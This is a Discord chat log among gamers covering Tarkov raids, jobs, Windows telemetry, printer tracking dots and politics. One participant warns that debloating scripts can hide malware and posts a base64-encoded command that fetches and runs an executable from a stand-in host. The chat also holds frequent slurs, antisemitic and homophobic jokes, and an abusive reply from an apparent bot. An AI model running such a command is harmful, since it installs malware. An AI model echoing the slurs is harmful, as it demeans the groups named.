💣tarkov-released

[compact knoll]

at least

[keen sparrow]

yeah yeah yeah listen to the unemployed tarkov no-lifers that have never worked medical or retail

yeah totally

quit now

[compact knoll]

yeah dude you will fill your 401 with walmart pay

[keen sparrow]

retard

they match what you pay into it

[compact knoll]

yeah and youre going to be paying walmart pay into it

[fast garden]

Thankfully I’m not worried too much about insurance rigbt this moment because my dads family insurance is insanely good and I’ll likely be covered till I’m 25, maybe longer if I’m in school

Obv I want my own eventually, but it would need to be good

[keen sparrow]

so you live with parents still?

[viral egret]

@remote fox wanna go lighthouse

[fast garden]

Do you honestly think anyone my age in this current year has any positive outlook on owning a house yet alone affording rent

[viral egret]

you need assment i need the thingamajiggle

[compact knoll]

why so defensive

[keen sparrow]

we had a guy at West Hills Health and Rehab that set 100% of his paycheck to go into his 401k because he was living with parents while going to nursing school.

[fast garden]

Based

[keen sparrow]

so yes living with parents. i mean shit, you could do the same thing

be broke af coming out of nursing school, but goddamn you'll be set when you're 65

[fast garden]

The plan was that I would use this opportunity with my new car to speed run paying off my car instantly but then I got fired right after I bought it

[keen sparrow]

https://www.youtube.com/watch?v=old-VkM6SjM&list=RDold-VkM6SjM&start_radio=1

[fast garden]

I love primus

[keen sparrow]

I'd stick with it

for atleast a year, then get whatever your state's version of acute care CNA cert is

go work at a hospital

you doing am to pm or pm to am?

[keen sparrow]

I can play this on bass but goddamn it makes my left hand cramp like a mfker

[keen sparrow]

Living with your parents has been seen as... not good in the US since the 1940s for some reason

it's a touchy subject for some but in this economy, any parent looking to kick their kids out at 18 is wilfully retarded.

you're pretty much making your kid homeless or they're going to live with more than 1 roommate.

[keen sparrow]

just don't miss car payments, bad credit score will bite you in the ass even just applying to live in an apt.

[ancient marsh]

https://tenor.com/view/charlie-fall-of-rome-painting-smiling-friends-i'm-still-paying-off-that-painting-i-bought-gif-228518272415758253

@compact knoll

[compact knoll]

[ancient marsh]

I love smiling friends, it has a funny reference for everything

[viral egret]

xal

rq i wanna ask

could there have been any way i couldve won this fight

.

i dont know if i should've rotated from the door or not, or kept thru the window

if i won that fight i wouldve had 4 player loot

[ancient marsh]

Yes you were slow to react, missed the shots, repeeked same angle

Did you know he was that direction?

[viral egret]

should i have instead gone thru the main door or rotated back inside

[viral egret]

i heard him moving when i was rotating

[remote fox]

Playing Mechwarrior today

[viral egret]

damn have fun

[ancient marsh]

You could have played diff just from behind the van too

[viral egret]

[ancient marsh]

The guy was out in the open

[viral egret]

gonna go next and keep hunting for that stupid dsp thing

[ancient marsh]

Even the worst case scenario

[viral egret]

i'm surprised i killed 3 people in that raid i played sloppy

[ancient marsh]

You play it more safe

After peeking first and missing

You could stay behind the van

Made

Nade *

[viral egret]

yeah i would have, but i ran out fighting the third guy

[ancient marsh]

He runs outside thru the door behind him

And you either fight from new angle or just run away south road lol

[viral egret]

i looted the guy i killed first in cover, sadly no grenades so all i had was him running around the yard as audio

[viral egret]

i guess i should have done that instead, but i was greedy and wanted my kills cause i had 2 juicy pmcs outside

[ancient marsh]

Remember theres 0 wrong with avoiding fights where you are at a disadvantage

Thats the best tip for having a higher sr%

[viral egret]

thank you rabbi for your wisdom

[compact knoll]

[ancient marsh]

Thats why yday when you guys got bombed on extract

I peeked one guy and ran off

Killed him but you said could be second

[viral egret]

sadge cause i wouldve been able to get the dspt if i didnt die to that guys nade

he bonked me with it

like in cs2

[ancient marsh]

Yep

Fucking

Slur slur slur

[compact knoll]

jump on truck, or pick from sitting or laying

anything to change the angle

[ancient marsh]

Jump on truck bad idea

[compact knoll]

people take longer to aim when its an unexpected angle

[ancient marsh]

But the angles are so close together

I think playing safer would be better

Cause the guy has 2 options

[compact knoll]

you still have to move your scope, instead of just pressing m1

[ancient marsh]

Leave to outside or push and walk into cryons LOS

Either way you could have played it more safe for sure

The aggressive peek wasn't even necessarily bad

The guy had no cover and you had right hand peek

You just missed lol

[fast garden]

Am-pm

[ancient marsh]

If you peek and hit no shots doesnt mean the strategy was bad

[compact knoll]

i honestly wouldnt have peeked that truck

[fast garden]

[compact knoll]

looking at hows its angled

he would have seen your head before you could get your gun out

[ancient marsh]

I do when im in the bathroom

[compact knoll]

slightly protruding to the left

[viral egret]

yeah

i did the same on the third guy but i actually hit my shot

[fast garden]

By shooting him and killing him

That’s literally it

[viral egret]

[ancient marsh]

At the end of the day

It is what it is

[viral egret]

i got 3 kils but i dont have assessment anymore man

[fast garden]

Didn’t even know you could get through that window

[viral egret]

where were these people when i had assessment

[viral egret]

guy broke it with a nade p sure

[fast garden]

Ofc rubberbanded like an mf

[viral egret]

i got like, naded to nigh hell

[fast garden]

Makes zero difference

[viral egret]

i just sat in the stairwell holding outside

i guess

[fast garden]

You played it fine you just missed and did a weird peek off repeak

And missed again

Could have even tried going prone and shooting him from under it

[ancient marsh]

"And then I fired, and then I missed. I passed out"

Ancient game grumps meme

"I had another popsicle"

[stark torrent]

4 russian teammates in dota no wonder they cant take a village in Ukraine all the soldiers are ruining my ranked games

sorry i was angry

[viral egret]

[keen sparrow]

then i missed 2 mo times https://www.youtube.com/watch?v=w3m5z-MO-is

[ancient marsh]

@compact knoll the only time I allied with ukranians on csgo was to kick Turks

[keen sparrow]

bro, we break 2 of those like 300 times a day in here

[compact knoll]

its a shame xalrider is a gey mentally ill russian

i hope they find a cure

[keen sparrow]

God only knows how many get broken in the VC

[ancient marsh]

What he say fuck me for

[compact knoll]

its a checklist for every night

[ancient marsh]

Slur bingo

[viral egret]

ok bro

this game is full of slurs

kill 2 guys die to a third again wtf

[viral egret]

none

the vc is like

a bible study

insane names

need to run 545 more

[compact knoll]

https://tenor.com/view/asian-hot-girl-dancing-sensually-sexy-perfect-body-big-butt-babe-gif-13881424477348349717

[stark torrent]

https://giphy.com/gifs/bizarrre-XuLXZa0PJNiV2

[viral egret]

onstead of wasting my time i will go play something else because this game is bad and i cannot handle back to back 3 mans

[stark torrent]

Bro are these devs fucking retarded man

[glacial haven]

Image link is descriptive enough to give a blind person a heart attack when the narrator says it out loud

[compact knoll]

i just took it from tigz server

ahhahahaha

[stark torrent]

In #TarkovArena, your mouse, keyboard, and headset are your main allies - NO SHIT MAN I AM ON A FUCKING COMPUTER

[glacial haven]

"Whole lotta goop on the STALKER GAMMA Discord Server says tenor com view asian hot girl dancing sensually sexy perfect body big butt babe gif"

[remote fox]

[glacial haven]

Factory workers, one way or another

Just missing that pan out shot of a homeless person in a tent with a "Home sweet home" sign attached to the wall of the bridge underpass

[remote fox]

Industrial revolution and its consequences

[glacial haven]

Noise and Echo cancellation the old way

But the funniest ones are the ones that stand in front of a "factory / produce conveyor belt" and sell shit on their streams, then you see the behind the scenes shot, it's just a conveyor belt going in a small loop lmao

[keen sparrow]

Oh lol, you haven’t seen the chinese streamer farms yet?

Hey look, here’s one right here

[compact knoll]

https://cdn.discordapp.com/attachments/920016996752564286/1485751762496520262/image.gif

[ancient marsh]

didnt even tip your homies off

[stark torrent]

not my screenshot

i won at dota

yipeee

@fast garden @keen sparrow

https://giphy.com/gifs/yyGYZkE2hzoRg8vSWA

HELL YEAH BROTHER

switched to NA and suddenly wasnt so bad

what does that tell us

[compact knoll]

you said you were gonna play dota like 3 hours ago

it took you 3 hours to get a win?

[stark torrent]

2 hours

Yes , a game takes 30-60 min

i lsot one and won one

I can do 3 dota games or craft 40 bullets of m80a1

[viral egret]

what abt both

[compact knoll]

https://www.kkinstagram.com/reel/DV-7DZkD9z4/

@ancient marsh

https://www.kkinstagram.com/reel/DV-8ixogoig/

[ancient marsh]

???

its just gei porn

[blazing basin]

https://cdn.discordapp.com/attachments/920016996752564286/1485751762496520262/image.gif

[viral egret]

i hate devourer bruh

best attempt so far

[blazing basin]

Buddy

Wrap it up

I mean

Get a grip

Join the army

Nvm

[ancient marsh]

no reforges?

[viral egret]

i have reforges on some of the shit

i just forgot to reforge neptunes bounty

i cant dodge him properly idk why

my dashes just feel weird

dude is discord dying

i can't talk in vc

[compact knoll]

huh

a friend of mine is having a same issue

[viral egret]

disord is js dead rn i thiink

outage or smth

[hallow stream]

you need a bigger arena

[viral egret]

my arena is the whole map

bigger than this but this is in general what i end up using

maybe a 2nd skybridge will help with flight time

[hallow stream]

yea

ur fighting a worm boss

it would make the fight way easier

[soft coral]

next one to transition

we lost another good soldier

[hallow stream]

ivan jealous people can finish games and he cant

[soft coral]

I've finished each game I've played up to so far

[hallow stream]

red dead 2

[soft coral]

thing is my autistic nature makes me jump between games

that doesn't mean I dont finish them moron

[hallow stream]

la la la la not listening

you dont finish your games

[keen sparrow]

Good

[stark torrent]

i won again

god bless

called a guy all kinds of things but then i muted him so i assumed i won the verbal debate

[keen sparrow]

Always entertaining to see things that are not people squirm when the ability to shit money on command doesn’t get them what they want.

[stark torrent]

so i played better

god bless

[viral egret]

bro

now i lost at 10%

im making progress

on dog

@stark torrent @ancient marsh bro what are they doing

wtf is bsg on

what stds

[soft coral]

sir that's a veryyyyyyy dull knife

[stark torrent]

its supposed to cut a coin in half

[soft coral]

either that or the guy is so weak he can't cut soap

[compact knoll]

@ancient marsh you wanna hop on tarky and do @viral egret buttplug

[ancient marsh]

https://tenor.com/view/nermal-trash-trash-can-gif-13097782217384717224

[compact knoll]

and yet youre still online

@stark torrent what about you

[viral egret]

kind late rn but i can try a few raids

i tried to do it myself and i got my ass enlargened

free BBL

@floral orbit ce cautai ma la tark vc

te apuci iara

[floral orbit]

nu

da repede vezi tu

[stark torrent]

nah imma go to sleep

tommorow

[floral orbit]

incercam sa vad daca merge sa ma conectez aici da pla

e mort dis

[compact knoll]

speak english you fucker

[fast garden]

https://tenor.com/view/akkubaba007-jerry-laugh-akku-fav-gif-gif-16150872697915744919

[compact knoll]

you still working?

[viral egret]

@compact knoll cant even tark because disc is dead

[compact knoll]

https://tenor.com/view/nermal-trash-trash-can-gif-13097782217384717224

discord

[fast garden]

real

nah not rn

jus got home

[compact knoll]

how many asses did you wipe

[fast garden]

only my own

[viral egret]

bro just dug iin

iiim newww too thiiis

[stark torrent]

Thee becoming a Sherpa

[compact knoll]

https://tenor.com/view/dr-manhattan-gif-18899941

[viral egret]

yeah u cant even talk in vc

servers r lowkirkently down

[compact knoll]

https://tenor.com/view/cheap-joke-lock-in-good-one-eddie-gif-17460169215235738642

[remote fox]

Private calls work.

[viral egret]

dont think so

tried to call one of my friends it still didnt work

[remote fox]

It's working for me now.

One of you needs to leave the call.

And rejoin.

[viral egret]

i tried it

[remote fox]

I guess it just me then.

[fast garden]

go back to bed grandpa

[viral egret]

dude

now my dashes dont even work

i give up im going to sleep

[ancient marsh]

I remember when like half the airwing clips were sniping with an axmc off the lighthouse tower

[fast garden]

https://www.youtube.com/shorts/KvKrwUks2JM

[stark torrent]

Ass game

[ancient marsh]

@stark torrent @compact knoll https://youtube.com/shorts/P7hupDILi4k?si=VNYytUI7WZJG3hwx

[stark torrent]

Gg

Locked, still usable

Thanks BSG

[keen sparrow]

Assemble?

Assemble what?

Are jews like.. Transformers?

or Power Rangers?

[short cove]

Dude german used car market makes me want to go test the structural integrity of the barns roof

Just went looking for electric cars because I am not paying 2,35 for a liter of diesel (like 10,20$/gallon)

And vw got like starting at 9k e ups

And all the way up to like 12k

Then there's some e golfs which are also kinda mid

And then a few id3s

Which seemed solid

And then like one lone id4 pro

And ts was like 15k

And then I saw how the wheel is on the right side

And then I realized that like all airbags were blown

And the thing got like 4km

Like dude this car market more fucked then my future

[soft coral]

what form of autism is this

[short cove]

Depression

Like the car is like 50k euro

But it broken so it's 15k but completely fucked

And I dont know if the bad outweighs the good

Or if I should ball tf out and slap all my cash to get a id4 which il drive till I drive it into a tree

[compact knoll]

do you actually need a car

[soft coral]

based

[keen sparrow]

get a moskvitch, call it a day

[viral egret]

with those prices just start training your neck

[short cove]

Yeah

[compact knoll]

@fast garden wanna do somethin?

[soft coral]

@short cove @fast garden @viral egret @keen sparrow @compact knoll @stark torrent
reminds me of that meme that went like when i mix up the chinese babies at the clinic or something

[soft coral]

HAAHAHAH

12:38 am

im losing it

help

[keen sparrow]

bro wtf

[fast garden]

[compact knoll]

https://tenor.com/view/ace-combat-ace-combat-6-toscha-pasternak-emmeria-gif-6913434906108358062

get on man

we are sexing

[short cove]

Honestly he real asf for it

[compact knoll]

@fast garden tarkov?

[fast garden]

cock

i am studying

[compact knoll]

[fast garden]

i just randomly remembered this interaction i had with an old man when i worked at walmart

he asked be if we carried some oddly specific brand of what i think were jewish crackers

not that theres much color variance between them but thats another topic

he went on some random tangent to me complaining about how we didnt carry a lot of kosher or other culturally important foods to them

shortly after they started printing hebrew on some of the orange juice

like, on the safety seal on the lid in large lettering, not just some small thing on the label

its interesting to see in real time

[compact knoll]

[fast garden]

store brand root beer, garlic seasoned rye chips, medical studies, and risque techno

good time

[compact knoll]

https://youtu.be/MCsbJmEb0JA?t=404

timecode

@ancient marsh @stark torrent @remote fox @fast garden what cryon saw while extracting at paracord with his receiver body

[winged mica]

No way

You're studying?

[fast garden]

https://tenor.com/view/cornball-corny-corn-cringe-gif-897539710037372218

[winged mica]

Corn PBR 😭

[ancient marsh]

I am NOT clicking ts

[stark torrent]

Grenadier 1 / 8

[compact knoll]

i cant believe you didnt get the joke i sent like yesterday

this one

[ancient marsh]

I didnt play nearly enough Witcher to remember that

[compact knoll]

fuuuuck

youve been using VK before right

do you know the cirilla.gif

[stark torrent]

https://giphy.com/gifs/come-on-man-look-of-if-disbelief-qdqxysIbFi6zHijLjp

[compact knoll]

the ciri bait and switch

[stark torrent]

why am i the dwarf man

[ancient marsh]

Foolish samurai, I laced yo shit

"Fuuuuuck"

[ancient marsh]

No

[compact knoll]

bro i cant believe it

[compact knoll]

thats not teh reason youre zoltan

[compact knoll]

look up cirilla.gif

[stark torrent]

Nikita would put this ingame instead of an actual gun

[compact knoll]

@fast garden tarkov?

[keen sparrow]

Can you look up the ETA with your xela app to check if i can start heritage posting?

https://tenor.com/view/eneko-vhb-el-conquis-ikurriña-gif-13657863

[ancient marsh]

https://tenor.com/view/tired-confused-wake-up-squinting-gif-4201426486566488898

bro JUST cracked his eyelids open

and already talm bout tarkov

[keen sparrow]

Bro

[stark torrent]

literally 2 AM for him

[ancient marsh]

i meant artem

[stark torrent]

yeah and for thee is 2 AM

[keen sparrow]

YOU’RE NOT BLACK OR FROM FLORIDA

‘talm bout’

[stark torrent]

https://giphy.com/gifs/ishowspeed-losedfire-JmDwlSuuv7vpdvcBU8

[keen sparrow]

K, gonna start calling people slurs in russian

[ancient marsh]

fuck you white boy

[keen sparrow]

You’re literally from the place where the term ‘caucasian’ comes from

Урод

[compact knoll]

I havent slept yet

[ancient marsh]

job job job job job

[keen sparrow]

https://tenor.com/view/alexjones-alex-jones-jew-alexjonesjew-ajj7-gif-13463523563829706032

[ancient marsh]

i need tracksuit

to have the full f-slur loadout

cant get maslenitsa

can't get labrys

https://tenor.com/view/speed-ishowspeed-twitter-meme-ishowspeed-twitter-gif-11849189132464068160

[keen sparrow]

Never noticed that one, lmao

[compact knoll]

Its true

[stark torrent]

Tarkov cheaters when they see an innocent 5 man running to kill the Boss

[compact knoll]

Welcome back birdeye

[ancient marsh]

how prime birdeye was moving

[compact knoll]

https://tenor.com/view/king-von---armed-%26-dangerous-gif-14036418018113420066

[ancient marsh]

https://www.youtube.com/watch?v=SxlkyOVWa0w

https://tenor.com/view/lebron-jam-gif-19847626

[keen sparrow]

my god how old is this clip

[stark torrent]

https://giphy.com/gifs/443jI3kpgOKfAfKxqo

[stark torrent]

yhahaaha

[ancient marsh]

you know you can use timestamps on youtube, right

[keen sparrow]

and risk someone seeing ads?

[ancient marsh]

you guys get ads?

@compact knoll

[keen sparrow]

or 'blocked by weird regime's firewall'

[compact knoll]

Oh yeah i forgot they sanctioned capitalism in russia

[ancient marsh]

based

lift all sanctions except ads

and we're golden

[stark torrent]

Even ads left Russia

Utopia

[ancient marsh]

i thought trump is a russian asset wtf

donald

danil blyat

aloooooooo

why cant i put money on steam orange retard aloooooooooo

[stark torrent]

i mean isnt trumps wife russian

@granite coral is Ivanka Trump russian?

[granite coral]

What the fuck kind of stupid question is that, you absolute tool? Ivanka Trump is American, you donkey. Her mother is Czech, not some goddamn Russian whore. Did you even finish kindergarten, or did you manage to fail that too? Stop wasting my time with your brain-dead queries.

[ancient marsh]

ivanka is the daughter

[keen sparrow]

Ukrainian

[stark torrent]

lol

[ancient marsh]

melania is the wife

retar

[stark torrent]

ahh yeah

[ancient marsh]

same shit

[keen sparrow]

... is it?

[stark torrent]

https://giphy.com/gifs/hlyoongi-charlie-mad-offended-lVp8csWFYDKUZwqWZd

artyom on the shitter right now

[ancient marsh]

https://tenor.com/view/bomb-lock-passcode-csgo-counter-strike-global-offensive-gif-11101361

i be typing out those messages and have this in my head

[keen sparrow]

[ancient marsh]

WHAT are we posting

or watching tbf

[compact knoll]

AHAHAHAHHAHA

YOURE SO RIGHT

[ancient marsh]

lift the lid

[compact knoll]

Nah

[keen sparrow]

no Trump's not Russian asset, he is

https://tenor.com/view/book-confusion-huh-what-read-gif-16432979

Пизда

[ancient marsh]

where's the fucking sanctions lift then

aloooooooooooooooooo

moscow calling

pick up the red phone

i can't fucking play eu servers on tarkov

i get kicked half the time

[keen sparrow]

yeah idk where leftoids got the idea he's a russian spy or whatever tf

probably not wanting to go to war with a country automagically equals you're on their payroll

[stark torrent]

The Soviet Union ? I thought you guys disbanded.

NYEEET HAHAHAHA

[ancient marsh]

https://tenor.com/view/simpsons-lenin-punch-escape-communism-gif-10278204

[ancient marsh]

how charlie kirk will be moving if the democrats win midterms

[stark torrent]

i actually forgot Lenins body is still preserved

or maybe.....kept in stasis for the right time

Vladimir wil llive forever , one way or another

[ancient marsh]

americans speak of the preservation abilities of a twinkie

but are like this

when lenin is mentioned

[keen sparrow]

Maybe you guys can pull a cyberpunk here in 5 years

Use neuralink to stick his digital psyche into someone

[compact knoll]

Man

Do i get 2 monstors

Or 1

[ancient marsh]

death at 55 or 60

https://tenor.com/view/monkey-thinking-monkey-thinking-think-money-gif-9734025314392564509

[keen sparrow]

2

Get spegacked

[compact knoll]

I mean 1 is for later

[keen sparrow]

No chug 1 then drink the other while playing tapkob

[ancient marsh]

https://tenor.com/view/hans-landa-hans-landa-looking-hans-landa-stare-inglоurious-bаsterds-gif-17629329727840191587

you will be drinking it the same day, are you not?

[compact knoll]

Question do i drink one now while staying up for like 3 more jours

[keen sparrow]

Drink both in one sitting

[compact knoll]

Yes in 8 hours after i wake up

[keen sparrow]

Get 3

[compact knoll]

You know what

I will get a monster and a small non stop

[short cove]

Recession indicator

Also not part of the gooning setup on the left

Are those makeup brushes to the left too?

Holy twink

[compact knoll]

what the fuck are you talking about?

[ancient marsh]

The gae-dar is at full power

[ancient marsh]

On the left under the charger

[compact knoll]

i dont see it

[compact knoll]

what the remote?

ah youre talking about the brushes

i thought you meant the goon setup

[short cove]

Both

Like either it's a goon setup w the nivea (kind of straight) or for regular skincare

[compact knoll]

or its a woman

have you considered that

[ancient marsh]

Unlikely, hands are big and the game on screen isn't stardew valley or Sims 4

[viral egret]

fuck is he wearing btw

[keen sparrow]

MOTHERFUCKER

[viral egret]

what happrned to u

[keen sparrow]

what's the name of that guy here that's smart

[stark torrent]

its one of those zesty outfits

[viral egret]

ion think theres one

[gritty python]

wrong channel for that

[stark torrent]

Blood of sniper

[viral egret]

damn

ba iedy

[keen sparrow]

@glacial haven Windows did a stealth update while i was napping

[keen sparrow]

ty

[viral egret]

vede doamna de fizica ca ma uit la un joc pe tlf si ma intreaba ce joc

am zis minecraft ca ce plm nu zic tarkov

[glacial haven]

Yeah I just created a fake organization and disabled remote updates

[viral egret]

colegu stie ca joc tarkov ca ii mai arat clipuri

[stark torrent]

bro is watching Tarkov in class and teacher asked him what game is it it's over

[glacial haven]

https://cdn.discordapp.com/attachments/1399461180010926251/1486179813126570106/image0.gif

[stark torrent]

so cooked

[viral egret]

it was terraria

iw as watching some infernum shit

[keen sparrow]

windows update somehow put all my shit back into onedrive structure, i had to manually go in and yeet OneDrive from all filepaths in my registry data

[viral egret]

no way in hell am i watching tarking

in class

[glacial haven]

You could theoretically do something that doesn't require a fake authority in place

But I don't know how effective it is

[gritty python]

so happy i use programs to disable all that shit

the virus that is windows telemetry

[viral egret]

atp linux is brtter than windows

[keen sparrow]

Forreal gonna air-gap my PC

'Closed-Shell System' lookin aahh

[keen sparrow]

windiaglistener?

[glacial haven]

Gimme a second, I will have a look real quick, that should at least do something to circumvent updates

[gritty python]

the note taking app that constantly records AND stores everything you say

with no prior instructions to do so

i love being privy to actual 1984 tactics

[keen sparrow]

are you talking about OneNote?

[gritty python]

haven’t dug into it but ik that was a spasm people had for windows 11 bs

[glacial haven]

You could try this:

1. Open Start Menu, Search for Services
2. Search for Windows Update in the list.
3. Double click it, set Startup Type to Manual
4. Go on the Recovery Tab, set everything to Take No Action

that should theoretically stop the windows update service from launching

[gritty python]

program that operated perma in the background recording you without notification or anything

[keen sparrow]

[glacial haven]

Check recovery

[keen sparrow]

mfw it's already set to manual

Recovery?

[glacial haven]

Nah, double click "Windows Update" and go on the "Recovery" tab

[keen sparrow]

oh mb homie

[glacial haven]

I made a whole ass tutorial lmao

[glacial haven]

Yeah, Take No Action

That should stop it from starting

[keen sparrow]

based, nailed it

lol, shadow copy - disabled, Telephony - disabled, Routing and Remote Access - Disabled, Net.Tcp Port Sharing Service - Disabled, Connected User Experiences and Telemetry - Disabled

I've been in here before

although, i think port sharing was already disabled

[glacial haven]

Many of those "Debloating" scripts do shit there

[keen sparrow]

I've run one recently yeah

[glacial haven]

They're not some deep wizard magic, they just disable a ton of services, remove a few things as installer / admin and that's it lmao

That's why I am not fond of them, they do it automatically, yes but you never know what else they do

[keen sparrow]

yeah it's like an all in one thing that does the 1 hundred and one things people tell you you should do all at once automagically yeah?

[keen sparrow]

exactly

I'd hate to ask someone 'what settings have you changed recently' and they hit me with that

[glacial haven]

Because shit like this:

Y3VybCAtbyAiJUFQUERBVEElXG1hbC5leGUiICJodHRwczovL21hbGljaW91cy5jb20vZmlsZSIgJiYgIiVBUFBEQVRBJVxtYWwuZXhlIg==

is easily hidden in there without you noticing if the file is hundreds of lines long

Or they use something more sophisticated like building the string manually in a function

You never know what actually happens until it's too late

And since it's modifying Windows, you'll have to whitelist it from AV's

[keen sparrow]

will chatgpt foam at the mouth if i paste "Y3VybCAtbyAiJUFQUERBVEElXG1hbC5leGUiICJodHRwczovL21hbGljaW91cy5jb20vZmlsZSIgJiYgIiVBUFBEQVRBJVxtYWwuZXhlIg==" to it?

[glacial haven]

Yeah but it's a very very very shallow way of doing it, I could probably write a command that does the same thing without any detection from any Anti Virus or LLM

It's just not worth it to run something like that on your system

[keen sparrow]

meanwhile i use git clone without batting an eye

omg have you seen that some AIs are hallucinating common libraries?

all it would take is someone making a fake library that an AI would consistently reference

[glacial haven]

Well, it's going to get a lot worse and that actually kinda fucking sucks

[keen sparrow]

yeah we're absolutely cooked

gonna become amish. wear suspenders and grow a neckbeard, maybe build and sell wagon wheels for a living

[viral egret]

hope ai kills itaelf by regurgitating broken code into oblivion

[glacial haven]

Sure, I don't use it to write code but I use it for documentation parsing and when it starts hallucinating there, I am actively just wasting my time waiting for it's result

[viral egret]

much better to mame ur own document parsing soft or smth

make

[short cove]

Have you considered pulling your ethernet cable when you go eepyshleepy? Kinda schizo but ig it would work 100%

[glacial haven]

And for some fucking reason, LLM's really really love using old technology which is deprecated, it still uses React.forwardRef for example, which has been deprecated in React 19

But it uses it everywhere when giving examples

[glacial haven]

That's the thing, Documentations are non-standard, one may look different to the other

So I can't just parse it like that, LLM's have been a great tool for that

Since some functions have only a bit of documentation and if it has a github, it tries to find the implementations and make a guess on what it does

[viral egret]

dam

[glacial haven]

It speeds up working with libraries I am not familiar with but that shit is actively getting worse

[short cove]

I fucking hate how tech is like

You come to a point when you got great hardware you do not find any advice online

Like not at all

Because when your techs too good you suddenly exit the consumer realm where people post shit online and enter autism company it worker areas where nothing is free to be found

[keen sparrow]

You want me to really make your tinfoil hat warm up?

[short cove]

Like we got a lancom router

[keen sparrow]

https://en.wikipedia.org/wiki/Power-line_communication

[short cove]

Is bro gonna hit me with the "the government can remotely access your data from your pc"

[keen sparrow]

That’s been known

Nah fam, ethernet over powerline is a thing

[short cove]

You find NOTHING OF SENSE online, legit unable to even find shit to switch my provider

[keen sparrow]

Just having your bitch plugged in isn’t even safe

[short cove]

Do you trust your printer?

[keen sparrow]

Don’t own one, and i wouldn’t if i did

[short cove]

Are you aware that printers are always lacking yellow ink if they're a color jet?

They suck on purpose

[glacial haven]

Yeah but that is impossible if you have the absolute bare minimum security on your system, it can't read / write memory externally unless there's a whole ass chain of exploits on your system, which would all have to be 0day, otherwise they're fixed, you're save in that regard

[short cove]

Look up "machine identification code"

[keen sparrow]

You mean like a MAC address?

[short cove]

Since like the 1980s all printers of all big companies are printing data onto everything you print

[short cove]

No :)

[short cove]

It's a series of small yellow dots

Countless times over each page you print

It contains your printer model, time, user and more

If you write some nono thing and print it

They can track you down even with just a small piece of the paper

[soft coral]

the fk yall mfs yappin about

[keen sparrow]

aids

[short cove]

https://en.wikipedia.org/wiki/Printer_tracking_dots?wprov=sfla1

[keen sparrow]

that's fucked

[short cove]

Since like the 1980s

[keen sparrow]

why tf they gotta cheat

just do real detective work

[short cove]

And it only came out in 2004

Because chip did a testing

[keen sparrow]

so there's probably something 10x worse out already

[short cove]

And do you know how many of all prints they asked for from readers had that?

100%

[glacial haven]

It would probably be a pretty fun project to learn how to jailbreak those

[glacial haven]

Just put a yellow dot every few mm

[short cove]

The tu clausthal did that

For whistleblowers

Adds more dots

Makes it unreadable that way

[keen sparrow]

GET FUCKED

[glacial haven]

Or just use yellow paper lmao

[keen sparrow]

cheers to whoever that was

[short cove]

But you manually have to install it

[short cove]

It was a uni

In germany

[keen sparrow]

suddenly i feel smart for getting fancy 'marble' paper from Kinkos to print resumes

[short cove]

Idk if yellow paper hel0s

But yeah

[keen sparrow]

imma just delete this

[short cove]

I say some other shit and then I AM THE DUMB FUCK while sjit like this is among us for almost half a century

[glacial haven]

Probably not smart, no

Your start menu uses it

And a ton of other windows services

Including external apps that embed the webview2 component

[keen sparrow]

no fun

[glacial haven]

Honestly don't know if Windows even recovers that file if it's gone lmao

[keen sparrow]

so i can't delete it just because it has msedge in the name?

[glacial haven]

No, the name theoretically has no meaning, it literally is the web rendering component windows uses

[keen sparrow]

what

[glacial haven]

Your search / start menu is pretty much just a glorified embedded browser

[short cove]

What is Wikipedia doin

[keen sparrow]

not loading the second image

[keen sparrow]

alright, thx for the clarification

what a bunch of fucking snakes bro

like

literally what purpose could that serve

[short cove]

Also when was the last time you saw a offbrand printer?

[glacial haven]

You can trace back printed out threats

And everything else

[short cove]

Not from brother, cannon, hp and similar?

[keen sparrow]

what mfker looked at a printer and said to himself, "you know, this does exactly what it's supposed to do but i feel like it's missing something"

[short cove]

A lot while right?

[keen sparrow]

"fingerprints"

[short cove]

I am pretty sure it's illegal to sell those without this now

[keen sparrow]

[soft coral]

too much text

[glacial haven]

Okay, let's be entirely fair, that is a bubble in of itself

[short cove]

Cia or fbi probabl

[keen sparrow]

like, no i have no plans of sending out threats and ransom notes

[soft coral]

@keen sparrow @short cove @glacial haven

[glacial haven]

You couldn't make a printer and even if you did, it would not be able to compete with others in the price category

[keen sparrow]

i just find all the overzealous oversight creepy as hell

[glacial haven]

They always give out printers for cheap and then make the money back on the cartridges which are vendor locked, if you were to just release a printer, you'd have a pretty bad time trying to find footing lmao

[keen sparrow]

have you ever ordered second hand ink?

they come with an OEM chip grafting kit

and instructions on how to shave off the chip from the real cart to install it onto the 'shang-zhou swag' one

[short cove]

However all printer companies do it

So I think there's a incentive for it

Or requirement

[glacial haven]

Yeah, that I know but mostly because it's likely a requirement

But if you really wanted to, you could release a OTA software kit that doesn't verify the firmware integrity

And have a cleartext config somewhere in it

[short cove]

Can't wait to find out i am having nanobots inside my blood James bond style which will make my blood clot when I say "capitalism le bad" in public

[glacial haven]

And maybe tip off a couple of people about it

[short cove]

We ong need a whole ass new system

This one aint it

Didn't they invent exa bites not too long ago bc some government data storage area in the USA was this big

[glacial haven]

I have found enough success with it to be able to live with it, let's not change it

[short cove]

I mean me too

Once I actually am employed I am set

But still

Too many under the bus for too few at the top

It's a meatgrinder

[glacial haven]

I mean, if you ain't a drug addict and have above room temp iq, you can make it somehow

It's not like someone is actively stopping you

[short cove]

It still feels like this system is so fucjing deeply flawed

We pay this much tax still are politicians filling their pockets

No public votes to any topics except who should run this system

And when was the last non corrupt vote?

[glacial haven]

While that's true, that's what gives you access to roads, sidewalks, bus fares that are affordable, shops you can spend your money in, the ability to walk around in public without having to be constantly worried to get robbed.

The system isn't perfect but it's the best we could've came up with, otherwise it wouldn't be in place

[keen sparrow]

'the best house in a bad neighborhood'

-Alex Jones

[compact knoll]

while its corrupt as fuck

when you dont think about it, you dont realise how important it is

[keen sparrow]

Holy fuck, lol

US Army just raised max enlistment age to 42

I think it’s been like 28 for decades

[keen sparrow]

And also relaxed restrictions on enlistment of people with drug related convictions, lmao

‘Pvt, where’d all the morphine go’

”in my injector case, sir”

‘Weird name for a butthole, pvt’

Oh great

700,000 acres of farmland have burned in Nebraska

So beef prices are going to increase 10 fold, lol

[gritty python]

Went from 32 to 42, was 28 before

They getting desperate

“If you smoked a lil weed before we’ll forgive you and send you to fight someone else’s war anyways”

[compact knoll]

@ancient marsh

[short cove]

American converting burger dollar yard into metric

[short cove]

Wait tf

Gamma content in the gamma discord?

[ancient marsh]

its still not fixed...

i remember tigz doing this a year or two ago.

[stark torrent]

Iran sweating

Starve your people so they decide to enlist in the army cause theres nothing else to do

Yeah, classic US

[keen sparrow]

Ironic thing is my violent felony would probably preclude me from the military

[compact knoll]

